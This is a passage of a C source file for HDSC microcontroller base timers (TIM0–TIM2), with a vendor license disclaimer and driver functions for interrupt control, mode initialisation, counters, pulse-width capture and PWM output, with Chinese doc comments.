* BY DOWNLOADING, INSTALLING OR USING THIS SOFTWARE, YOU AGREE TO BE BOUND
* BY ALL THE TERMS AND CONDITIONS OF THIS AGREEMENT.
*
* This software contains source code for use with HDSC
* components. This software is licensed by HDSC to be adapted only
* for use in systems utilizing HDSC components. HDSC shall not be
* responsible for misuse or illegal use of this software for devices not
* supported herein. HDSC is providing this software "AS IS" and will
* not be responsible for issues arising from incorrect user implementation
* of the software.
*
* Disclaimer:
* HDSC MAKES NO WARRANTY, EXPRESS OR IMPLIED, ARISING BY LAW OR OTHERWISE,
* REGARDING THE SOFTWARE (INCLUDING ANY ACOOMPANYING WRITTEN MATERIALS),
* ITS PERFORMANCE OR SUITABILITY FOR YOUR INTENDED USE, INCLUDING,
* WITHOUT LIMITATION, THE IMPLIED WARRANTY OF MERCHANTABILITY, THE IMPLIED
* WARRANTY OF FITNESS FOR A PARTICULAR PURPOSE OR USE, AND THE IMPLIED
* WARRANTY OF NONINFRINGEMENT.
* HDSC SHALL HAVE NO LIABILITY (WHETHER IN CONTRACT, WARRANTY, TORT,
* NEGLIGENCE OR OTHERWISE) FOR ANY DAMAGES WHATSOEVER (INCLUDING, WITHOUT
* LIMITATION, DAMAGES FOR LOSS OF BUSINESS PROFITS, BUSINESS INTERRUPTION,
* LOSS OF BUSINESS INFORMATION, OR OTHER PECUNIARY LOSS) ARISING FROM USE OR
* INABILITY TO USE THE SOFTWARE, INCLUDING, WITHOUT LIMITATION, ANY DIRECT,
* INDIRECT, INCIDENTAL, SPECIAL OR CONSEQUENTIAL DAMAGES OR LOSS OF DATA,
* SAVINGS OR PROFITS,
* EVEN IF Disclaimer HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
* YOU ASSUME ALL RESPONSIBILITIES FOR SELECTION OF THE SOFTWARE TO ACHIEVE YOUR
* INTENDED RESULTS, AND FOR THE INSTALLATION OF, USE OF, AND RESULTS OBTAINED
* FROM, THE SOFTWARE.
*
* This software may be replicated in part or whole for the licensed use,
* with the restriction that this Disclaimer and Copyright notice must be
* included with each copy of this software, whether used in part or whole,
* at all times.
*/
/** \file bt.c
**
** Common API of base timer.
** @link btGroup Some description @endlink
**
** - 2018-04-18 First Version
**
******************************************************************************/
/*******************************************************************************
* Include files
******************************************************************************/
#include "bt.h"
/**
*******************************************************************************
** \addtogroup BtGroup
******************************************************************************/
//@{
/*******************************************************************************
* Local pre-processor symbols/macros ('#define')
******************************************************************************/
#define IS_VALID_TIM(x) (TIM0 == (x) ||\
TIM1 == (x) ||\
TIM2 == (x))
/*******************************************************************************
* Global variable definitions (declared in header file with 'extern')
******************************************************************************/
/*******************************************************************************
* Local type definitions ('typedef')
******************************************************************************/
/*******************************************************************************
* Local variable definitions ('static')
******************************************************************************/
static func_ptr_t pfnTim0Callback = NULL;
static func_ptr_t pfnTim1Callback = NULL;
static func_ptr_t pfnTim2Callback = NULL;
/*******************************************************************************
* Local function prototypes ('static')
******************************************************************************/
/*******************************************************************************
* Function implementation - global ('extern') and local ('static')
******************************************************************************/
/**
*****************************************************************************
** \brief Base Timer 中断标志获取(模式0/1/23)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
** \param [in] enTim3Irq 中断类型
**
** \retval TRUE or FALSE
*****************************************************************************/
boolean_t Bt_GetIntFlag(en_bt_unit_t enUnit, en_bt_irq_type_t enBtIrq)
{
boolean_t bRetVal = FALSE;
uint32_t u32Val;
volatile M0P_TIM0_MODE23_TypeDef *pstcM0PBt = (M0P_TIM0_MODE23_TypeDef *)((uint32_t)M0P_TIM0_MODE23+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
u32Val = pstcM0PBt->IFR;
bRetVal = (u32Val>>enBtIrq) & 0x1;
return bRetVal;
}
/**
*****************************************************************************
** \brief Base Timer 中断标志清除(模式0/1/23)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
** \param [in] enTim3Irq 中断类型
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_ClearIntFlag(en_bt_unit_t enUnit, en_bt_irq_type_t enBtIrq)
{
en_result_t enResult = Ok;
volatile M0P_TIM0_MODE23_TypeDef *pstcM0PBt = (M0P_TIM0_MODE23_TypeDef *)((uint32_t)M0P_TIM0_MODE23+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
pstcM0PBt->ICLR = ~(1u<<enBtIrq);
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer 中断所有标志清除(模式23)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
**
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_ClearAllIntFlag(en_bt_unit_t enUnit)
{
en_result_t enResult = Ok;
volatile M0P_TIM0_MODE23_TypeDef *pstcM0PBt = (M0P_TIM0_MODE23_TypeDef *)((uint32_t)M0P_TIM0_MODE23+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
pstcM0PBt->ICLR_f.UIF = 0;
pstcM0PBt->ICLR_f.CA0F = 0;
pstcM0PBt->ICLR_f.CB0F = 0;
pstcM0PBt->ICLR_f.BIF = 0;
pstcM0PBt->ICLR_f.TIF = 0;
pstcM0PBt->ICLR_f.CA0E = 0;
pstcM0PBt->ICLR_f.CB0E = 0;
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer 中断使能(模式0)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_Mode0_EnableIrq(en_bt_unit_t enUnit)
{
en_result_t enResult = Ok;
volatile M0P_TIM0_MODE0_TypeDef *pstcM0PBt = (M0P_TIM0_MODE0_TypeDef *)((uint32_t)M0P_TIM0_MODE0+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
pstcM0PBt->M0CR_f.UIE = TRUE;
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer 中断禁止(模式0)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_Mode0_DisableIrq(en_bt_unit_t enUnit)
{
en_result_t enResult = Ok;
volatile M0P_TIM0_MODE0_TypeDef *pstcM0PBt = (M0P_TIM0_MODE0_TypeDef *)((uint32_t)M0P_TIM0_MODE0+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
pstcM0PBt->M0CR_f.UIE = FALSE;
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer 中断使能(模式1)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
** \param [in] enTim3Irq 中断类型
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_Mode1_EnableIrq (en_bt_unit_t enUnit, en_bt_irq_type_t enBtIrq)
{
en_result_t enResult = Ok;
volatile M0P_TIM0_MODE1_TypeDef *pstcM0PBt = (M0P_TIM0_MODE1_TypeDef *)((uint32_t)M0P_TIM0_MODE1+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
switch (enBtIrq)
{
case BtUevIrq:
pstcM0PBt->M1CR_f.UIE = TRUE;
break;
case BtCA0Irq:
pstcM0PBt->CR0_f.CIEA = TRUE;
break;
default:
enResult = Error;
break;
}
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer 中断禁止(模式1)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
** \param [in] enTim3Irq 中断类型
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_Mode1_DisableIrq (en_bt_unit_t enUnit, en_bt_irq_type_t enBtIrq)
{
en_result_t enResult = Ok;
volatile M0P_TIM0_MODE1_TypeDef *pstcM0PBt = (M0P_TIM0_MODE1_TypeDef *)((uint32_t)M0P_TIM0_MODE1+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
switch (enBtIrq)
{
case BtUevIrq:
pstcM0PBt->M1CR_f.UIE = FALSE;
break;
case BtCA0Irq:
pstcM0PBt->CR0_f.CIEA = FALSE;
break;
default:
enResult = Error;
break;
}
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer 中断使能(模式23)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
** \param [in] enTim3Irq 中断类型
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_Mode23_EnableIrq (en_bt_unit_t enUnit, en_bt_irq_type_t enBtIrq)
{
en_result_t enResult = Ok;
volatile M0P_TIM0_MODE23_TypeDef *pstcM0PBt = (M0P_TIM0_MODE23_TypeDef *)((uint32_t)M0P_TIM0_MODE23+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
switch (enBtIrq)
{
case BtUevIrq:
pstcM0PBt->M23CR_f.UIE = TRUE;
break;
case BtCA0Irq:
pstcM0PBt->CRCH0_f.CIEA = TRUE;
break;
case BtCB0Irq:
pstcM0PBt->CRCH0_f.CIEB = TRUE;
break;
case BtBkIrq:
pstcM0PBt->M23CR_f.BIE = TRUE;
break;
case BtTrigIrq:
pstcM0PBt->M23CR_f.TIE = TRUE;
break;
default:
enResult = Error;
break;
}
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer 中断禁止(模式23)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
** \param [in] enTim3Irq 中断类型
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_Mode23_DisableIrq (en_bt_unit_t enUnit, en_bt_irq_type_t enBtIrq)
{
en_result_t enResult = Ok;
volatile M0P_TIM0_MODE23_TypeDef *pstcM0PBt = (M0P_TIM0_MODE23_TypeDef *)((uint32_t)M0P_TIM0_MODE23+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
switch (enBtIrq)
{
case BtUevIrq:
pstcM0PBt->M23CR_f.UIE = FALSE;
break;
case BtCA0Irq:
pstcM0PBt->CRCH0_f.CIEA = FALSE;
break;
case BtCB0Irq:
pstcM0PBt->CRCH0_f.CIEB = FALSE;
break;
case BtBkIrq:
pstcM0PBt->M23CR_f.BIE = FALSE;
break;
case BtTrigIrq:
pstcM0PBt->M23CR_f.TIE = FALSE;
break;
default:
enResult = Error;
break;
}
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer 中断服务函数
**
**
** \param [in] u8Param Timer通道选择(0 - TIM0、1 - TIM1、2 - TIM2)
**
** \retval NULL
*****************************************************************************/
void Tim_IRQHandler(uint8_t u8Param)
{
switch (u8Param)
{
case 0:
if(NULL != pfnTim0Callback)
{
pfnTim0Callback();
}
break;
case 1:
if(NULL != pfnTim1Callback)
{
pfnTim1Callback();
}
break;
case 2:
if(NULL != pfnTim2Callback)
{
pfnTim2Callback();
}
break;
default:
;
break;
}
}
/**
*****************************************************************************
** \brief Base Timer 初始化配置(模式0)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
** \param [in] pstcConfig 初始化配置结构体指针
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_Mode0_Init(en_bt_unit_t enUnit, stc_bt_mode0_config_t* pstcConfig)
{
en_result_t enResult = Ok;
ASSERT(IS_VALID_TIM(enUnit));
switch (enUnit)
{
case TIM0:
{
M0P_TIM0_MODE0->M0CR_f.MODE = pstcConfig->enWorkMode;
M0P_TIM0_MODE0->M0CR_f.GATEP = pstcConfig->enGateP;
M0P_TIM0_MODE0->M0CR_f.GATE = pstcConfig->bEnGate;
M0P_TIM0_MODE0->M0CR_f.PRS = pstcConfig->enPRS;
M0P_TIM0_MODE0->M0CR_f.TOGEN = pstcConfig->bEnTog;
M0P_TIM0_MODE0->M0CR_f.CT = pstcConfig->enCT;
M0P_TIM0_MODE0->M0CR_f.MD = pstcConfig->enCntMode;
pfnTim0Callback = pstcConfig->pfnTim0Cb;
}
break;
case TIM1:
{
M0P_TIM1_MODE0->M0CR_f.MODE = pstcConfig->enWorkMode;
M0P_TIM1_MODE0->M0CR_f.GATEP = pstcConfig->enGateP;
M0P_TIM1_MODE0->M0CR_f.GATE = pstcConfig->bEnGate;
M0P_TIM1_MODE0->M0CR_f.PRS = pstcConfig->enPRS;
M0P_TIM1_MODE0->M0CR_f.TOGEN = pstcConfig->bEnTog;
M0P_TIM1_MODE0->M0CR_f.CT = pstcConfig->enCT;
M0P_TIM1_MODE0->M0CR_f.MD = pstcConfig->enCntMode;
pfnTim1Callback = pstcConfig->pfnTim1Cb;
}
break;
case TIM2:
{
M0P_TIM2_MODE0->M0CR_f.MODE = pstcConfig->enWorkMode;
M0P_TIM2_MODE0->M0CR_f.GATEP = pstcConfig->enGateP;
M0P_TIM2_MODE0->M0CR_f.GATE = pstcConfig->bEnGate;
M0P_TIM2_MODE0->M0CR_f.PRS = pstcConfig->enPRS;
M0P_TIM2_MODE0->M0CR_f.TOGEN = pstcConfig->bEnTog;
M0P_TIM2_MODE0->M0CR_f.CT = pstcConfig->enCT;
M0P_TIM2_MODE0->M0CR_f.MD = pstcConfig->enCntMode;
pfnTim2Callback = pstcConfig->pfnTim2Cb;
}
break;
default:
enResult = Error;
break;
}
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer 启动运行(模式0)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_M0_Run(en_bt_unit_t enUnit)
{
en_result_t enResult = Ok;
volatile M0P_TIM0_MODE0_TypeDef *pstcM0PBt = (M0P_TIM0_MODE0_TypeDef *)((uint32_t)M0P_TIM0_MODE0+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
pstcM0PBt->M0CR_f.CTEN = TRUE;
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer 停止运行(模式0)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_M0_Stop(en_bt_unit_t enUnit)
{
en_result_t enResult = Ok;
volatile M0P_TIM0_MODE0_TypeDef *pstcM0PBt = (M0P_TIM0_MODE0_TypeDef *)((uint32_t)M0P_TIM0_MODE0+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
pstcM0PBt->M0CR_f.CTEN = FALSE;
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer 翻转输出使能/禁止设定(模式0)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
** \param [in] bEnOutput 翻转输出设定 TRUE:使能, FALSE:禁止
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_M0_EnTOG_Output(en_bt_unit_t enUnit, boolean_t bEnOutput)
{
en_result_t enResult = Ok;
volatile M0P_TIM0_MODE0_TypeDef *pstcM0PBt = (M0P_TIM0_MODE0_TypeDef *)((uint32_t)M0P_TIM0_MODE0+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
pstcM0PBt->DTR_f.MOE = bEnOutput;
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer 16位计数器初值设置(模式0)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
** \param [in] u16Data 16位初值
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_M0_Cnt16Set(en_bt_unit_t enUnit, uint16_t u16Data)
{
en_result_t enResult = Ok;
ASSERT(IS_VALID_TIM(enUnit));
switch (enUnit)
{
case TIM0:
M0P_TIM0_MODE0->CNT_f.CNT = u16Data;
break;
case TIM1:
M0P_TIM1_MODE0->CNT_f.CNT = u16Data;
break;
case TIM2:
M0P_TIM2_MODE0->CNT_f.CNT = u16Data;
break;
default:
enResult = Error;
break;
}
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer 16位计数值获取(模式0)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
**
** \retval 16bits计数值
*****************************************************************************/
uint16_t Bt_M0_Cnt16Get(en_bt_unit_t enUnit)
{
uint16_t u16CntData = 0;
ASSERT(IS_VALID_TIM(enUnit));
switch (enUnit)
{
case TIM0:
u16CntData = M0P_TIM0_MODE0->CNT_f.CNT;
break;
case TIM1:
u16CntData = M0P_TIM1_MODE0->CNT_f.CNT;
break;
case TIM2:
u16CntData = M0P_TIM2_MODE0->CNT_f.CNT;
break;
default:
u16CntData = 0;
break;
}
return u16CntData;
}
/**
*****************************************************************************
** \brief Base Timer 重载值设置(模式0)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
** \param [in] u16Data 16bits重载值
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_M0_ARRSet(en_bt_unit_t enUnit, uint16_t u16Data)
{
en_result_t enResult = Ok;
ASSERT(IS_VALID_TIM(enUnit));
switch (enUnit)
{
case TIM0:
M0P_TIM0_MODE0->ARR_f.ARR = u16Data;
break;
case TIM1:
M0P_TIM1_MODE0->ARR_f.ARR = u16Data;
break;
case TIM2:
M0P_TIM2_MODE0->ARR_f.ARR = u16Data;
break;
default:
enResult = Error;
break;
}
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer 32位计数器初值设置(模式0)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
** \param [in] u32Data 32位初值
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_M0_Cnt32Set(en_bt_unit_t enUnit, uint32_t u32Data)
{
en_result_t enResult = Ok;
ASSERT(IS_VALID_TIM(enUnit));
switch (enUnit)
{
case TIM0:
M0P_TIM0_MODE0->CNT32_f.CNT32 = u32Data;
break;
case TIM1:
M0P_TIM1_MODE0->CNT32_f.CNT32 = u32Data;
break;
case TIM2:
M0P_TIM2_MODE0->CNT32_f.CNT32 = u32Data;
break;
default:
enResult = Error;
break;
}
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer 32位计数值获取(模式0)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
**
** \retval 32bits计数值
*****************************************************************************/
uint32_t Bt_M0_Cnt32Get(en_bt_unit_t enUnit)
{
uint32_t u32CntData = 0;
ASSERT(IS_VALID_TIM(enUnit));
switch (enUnit)
{
case TIM0:
u32CntData = M0P_TIM0_MODE0->CNT32_f.CNT32;
break;
case TIM1:
u32CntData = M0P_TIM1_MODE0->CNT32_f.CNT32;
break;
case TIM2:
u32CntData = M0P_TIM2_MODE0->CNT32_f.CNT32;
break;
default:
u32CntData = 0;
break;
}
return u32CntData;
}
/**
*****************************************************************************
** \brief Base Timer 初始化配置(模式1)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
** \param [in] pstcConfig 初始化配置结构体指针
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_Mode1_Init(en_bt_unit_t enUnit, stc_bt_mode1_config_t* pstcConfig)
{
en_result_t enResult = Ok;
ASSERT(IS_VALID_TIM(enUnit));
switch (enUnit)
{
case TIM0:
{
M0P_TIM0_MODE1->M1CR_f.MODE = pstcConfig->enWorkMode;
M0P_TIM0_MODE1->M1CR_f.PRS = pstcConfig->enPRS;
M0P_TIM0_MODE1->M1CR_f.CT = pstcConfig->enCT;
M0P_TIM0_MODE1->M1CR_f.ONESHOT = pstcConfig->enOneShot;
pfnTim0Callback = pstcConfig->pfnTim0Cb;
}
break;
case TIM1:
{
M0P_TIM1_MODE1->M1CR_f.MODE = pstcConfig->enWorkMode;
M0P_TIM1_MODE1->M1CR_f.PRS = pstcConfig->enPRS;
M0P_TIM1_MODE1->M1CR_f.CT = pstcConfig->enCT;
M0P_TIM1_MODE1->M1CR_f.ONESHOT = pstcConfig->enOneShot;
pfnTim1Callback = pstcConfig->pfnTim1Cb;
}
break;
case TIM2:
{
M0P_TIM2_MODE1->M1CR_f.MODE = pstcConfig->enWorkMode;
M0P_TIM2_MODE1->M1CR_f.PRS = pstcConfig->enPRS;
M0P_TIM2_MODE1->M1CR_f.CT = pstcConfig->enCT;
M0P_TIM2_MODE1->M1CR_f.ONESHOT = pstcConfig->enOneShot;
pfnTim2Callback = pstcConfig->pfnTim2Cb;
}
break;
default:
enResult = Error;
break;
}
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer PWC 输入配置(模式1)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
** \param [in] pstcConfig 初始化配置结构体指针
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_M1_Input_Config(en_bt_unit_t enUnit, stc_bt_pwc_input_config_t* pstcConfig)
{
en_result_t enResult = Ok;
volatile M0P_TIM0_MODE1_TypeDef *pstcM0PBt = (M0P_TIM0_MODE1_TypeDef *)((uint32_t)M0P_TIM0_MODE1+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
pstcM0PBt->MSCR_f.TS = pstcConfig->enTsSel;
pstcM0PBt->MSCR_f.IA0S = pstcConfig->enIA0Sel;
pstcM0PBt->MSCR_f.IB0S = pstcConfig->enIB0Sel;
pstcM0PBt->FLTR_f.ETP = pstcConfig->enETRPhase;
pstcM0PBt->FLTR_f.FLTET = pstcConfig->enFltETR;
pstcM0PBt->FLTR_f.FLTA0 = pstcConfig->enFltIA0;
pstcM0PBt->FLTR_f.FLTB0 = pstcConfig->enFltIB0;
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer PWC测量边沿起始结束选择(模式1)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
** \param [in] enEdgeSel pwc测量起始终止电平
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_M1_PWC_Edge_Sel(en_bt_unit_t enUnit,en_bt_m1cr_Edge_t enEdgeSel)
{
en_result_t enResult = Ok;
volatile M0P_TIM0_MODE1_TypeDef *pstcM0PBt = (M0P_TIM0_MODE1_TypeDef *)((uint32_t)M0P_TIM0_MODE1+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
switch (enEdgeSel)
{
case 0: ///< 上升沿到上升沿(周期)
pstcM0PBt->M1CR_f.EDG1ST = 0; //上升沿
pstcM0PBt->M1CR_f.EDG2ND = 0; //上升沿
break;
case 1: ///< 下降沿到上升沿(低电平)
pstcM0PBt->M1CR_f.EDG1ST = 1; //下降沿
pstcM0PBt->M1CR_f.EDG2ND = 0; //上升沿
break;
case 2: ///< 上升沿到下降沿(高电平)
pstcM0PBt->M1CR_f.EDG1ST = 0; //上升沿
pstcM0PBt->M1CR_f.EDG2ND = 1; //下降沿
break;
case 3: ///< 下降沿到下降沿(周期)
pstcM0PBt->M1CR_f.EDG1ST = 1; //下降沿
pstcM0PBt->M1CR_f.EDG2ND = 1; //下降沿
break;
default:
;
break;
}
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer 启动运行(模式1)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_M1_Run(en_bt_unit_t enUnit)
{
en_result_t enResult = Ok;
volatile M0P_TIM0_MODE1_TypeDef *pstcM0PBt = (M0P_TIM0_MODE1_TypeDef *)((uint32_t)M0P_TIM0_MODE1+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
pstcM0PBt->M1CR_f.CTEN = TRUE;
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer 停止运行(模式1)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_M1_Stop(en_bt_unit_t enUnit)
{
en_result_t enResult = Ok;
volatile M0P_TIM0_MODE1_TypeDef *pstcM0PBt = (M0P_TIM0_MODE1_TypeDef *)((uint32_t)M0P_TIM0_MODE1+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
pstcM0PBt->M1CR_f.CTEN = FALSE;
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer 16位计数器初值设置(模式1)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
** \param [in] u16Data 16位初值
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_M1_Cnt16Set(en_bt_unit_t enUnit, uint16_t u16Data)
{
en_result_t enResult = Ok;
ASSERT(IS_VALID_TIM(enUnit));
switch (enUnit)
{
case TIM0:
M0P_TIM0_MODE1->CNT_f.CNT = u16Data;
break;
case TIM1:
M0P_TIM1_MODE1->CNT_f.CNT = u16Data;
break;
case TIM2:
M0P_TIM2_MODE1->CNT_f.CNT = u16Data;
break;
default:
enResult = Error;
break;
}
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer 16位计数值获取(模式1)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
**
** \retval 16bits计数值
*****************************************************************************/
uint16_t Bt_M1_Cnt16Get(en_bt_unit_t enUnit)
{
uint16_t u16CntData = 0;
ASSERT(IS_VALID_TIM(enUnit));
switch (enUnit)
{
case TIM0:
u16CntData = M0P_TIM0_MODE1->CNT_f.CNT;
break;
case TIM1:
u16CntData = M0P_TIM1_MODE1->CNT_f.CNT;
break;
case TIM2:
u16CntData = M0P_TIM2_MODE1->CNT_f.CNT;
break;
default:
u16CntData = 0;
break;
}
return u16CntData;
}
/**
*****************************************************************************
** \brief Base Timer 脉冲宽度测量结果数值获取(模式1)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
**
** \retval 16bits脉冲宽度测量结果
*****************************************************************************/
uint16_t Bt_M1_PWC_CapValueGet(en_bt_unit_t enUnit)
{
uint16_t u16CapData = 0;
ASSERT(IS_VALID_TIM(enUnit));
switch (enUnit)
{
case TIM0:
u16CapData = M0P_TIM0_MODE1->CCR0A_f.CCR0A;
break;
case TIM1:
u16CapData = M0P_TIM1_MODE1->CCR0A_f.CCR0A;
break;
case TIM2:
u16CapData = M0P_TIM2_MODE1->CCR0A_f.CCR0A;
break;
default:
u16CapData = 0;
break;
}
return u16CapData;
}
/**
*****************************************************************************
** \brief Base Timer 初始化配置(模式23)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
** \param [in] pstcConfig 初始化配置结构体指针
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_Mode23_Init(en_bt_unit_t enUnit, stc_bt_mode23_config_t* pstcConfig)
{
en_result_t enResult = Ok;
ASSERT(IS_VALID_TIM(enUnit));
switch (enUnit)
{
case TIM0:
{
M0P_TIM0_MODE23->M23CR_f.MODE = pstcConfig->enWorkMode;
M0P_TIM0_MODE23->M23CR_f.PRS = pstcConfig->enPRS;
M0P_TIM0_MODE23->M23CR_f.CT = pstcConfig->enCT;
M0P_TIM0_MODE23->M23CR_f.COMP = pstcConfig->enPWMTypeSel;
M0P_TIM0_MODE23->M23CR_f.PWM2S = pstcConfig->enPWM2sSel;
M0P_TIM0_MODE23->M23CR_f.ONESHOT = pstcConfig->bOneShot;
M0P_TIM0_MODE23->M23CR_f.URS = pstcConfig->bURSSel;
M0P_TIM0_MODE23->M23CR_f.DIR = pstcConfig->enCntDir;
pfnTim0Callback = pstcConfig->pfnTim0Cb;
}
break;
case TIM1:
{
M0P_TIM1_MODE23->M23CR_f.MODE = pstcConfig->enWorkMode;
M0P_TIM1_MODE23->M23CR_f.PRS = pstcConfig->enPRS;
M0P_TIM1_MODE23->M23CR_f.CT = pstcConfig->enCT;
M0P_TIM1_MODE23->M23CR_f.COMP = pstcConfig->enPWMTypeSel;
M0P_TIM1_MODE23->M23CR_f.PWM2S = pstcConfig->enPWM2sSel;
M0P_TIM1_MODE23->M23CR_f.ONESHOT = pstcConfig->bOneShot;
M0P_TIM1_MODE23->M23CR_f.URS = pstcConfig->bURSSel;
M0P_TIM1_MODE23->M23CR_f.DIR = pstcConfig->enCntDir;
pfnTim1Callback = pstcConfig->pfnTim1Cb;
}
break;
case TIM2:
{
M0P_TIM2_MODE23->M23CR_f.MODE = pstcConfig->enWorkMode;
M0P_TIM2_MODE23->M23CR_f.PRS = pstcConfig->enPRS;
M0P_TIM2_MODE23->M23CR_f.CT = pstcConfig->enCT;
M0P_TIM2_MODE23->M23CR_f.COMP = pstcConfig->enPWMTypeSel;
M0P_TIM2_MODE23->M23CR_f.PWM2S = pstcConfig->enPWM2sSel;
M0P_TIM2_MODE23->M23CR_f.ONESHOT = pstcConfig->bOneShot;
M0P_TIM2_MODE23->M23CR_f.URS = pstcConfig->bURSSel;
M0P_TIM2_MODE23->M23CR_f.DIR = pstcConfig->enCntDir;
pfnTim2Callback = pstcConfig->pfnTim2Cb;
}
break;
default:
enResult = Error;
break;
}
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer PWM输出使能/禁止(模式23)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
** \param [in] bEnOutput PWM输出使能/禁止设定
** \param [in] bEnAutoOutput PWM自动输出使能/禁止设定
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_M23_EnPWM_Output(en_bt_unit_t enUnit, boolean_t bEnOutput, boolean_t bEnAutoOutput)
{
en_result_t enResult = Ok;
volatile M0P_TIM0_MODE23_TypeDef *pstcM0PBt = (M0P_TIM0_MODE23_TypeDef *)((uint32_t)M0P_TIM0_MODE23+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
pstcM0PBt->DTR_f.MOE = bEnOutput;
pstcM0PBt->DTR_f.AOE = bEnAutoOutput;
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer 启动运行(模式23)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_M23_Run(en_bt_unit_t enUnit)
{
en_result_t enResult = Ok;
volatile M0P_TIM0_MODE23_TypeDef *pstcM0PBt = (M0P_TIM0_MODE23_TypeDef *)((uint32_t)M0P_TIM0_MODE23+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
pstcM0PBt->M23CR_f.CTEN = TRUE;
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer 停止运行(模式23)
**
**
